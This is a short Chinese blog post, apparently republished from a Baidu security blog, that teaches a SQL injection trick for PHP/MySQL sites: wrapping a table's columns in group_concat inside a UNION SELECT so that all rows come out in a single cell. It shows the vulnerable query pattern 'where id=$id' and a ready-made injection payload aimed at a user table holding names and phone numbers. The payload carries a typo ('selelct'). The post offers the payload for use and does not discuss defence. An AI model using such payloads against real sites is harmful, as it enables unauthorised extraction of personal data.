php mysql注入的一种快速有效union方法select出数据库

php sql injector的时候，很多情况下都是显示一行一行的数据，要一次得到全部数据或者表格，那就的重复多次。

函数group_concat可以实现将表格放入一个单元格中（即仅有一行一列）

例如：

select group_concat(id,0x7c,name,0x7c,tel,0x5d) from g

那么将得到：

1|张三|83023023],|李四|13893232322],.....

（注意上面查询结果不是一行多列，而是一行一列）

假设原来的sql注入地方为：

select name from userinfo where id=$id

那么可以这样构造：

id=1 and 1=2 union selelct group_concat(id,0x7c,name,0x7c,tel,0x5d) from g

作者：hi.baidu测试数据/it_security

查看更多关于php mysql注入的一种快速有效union方法select出数据库的详细内容...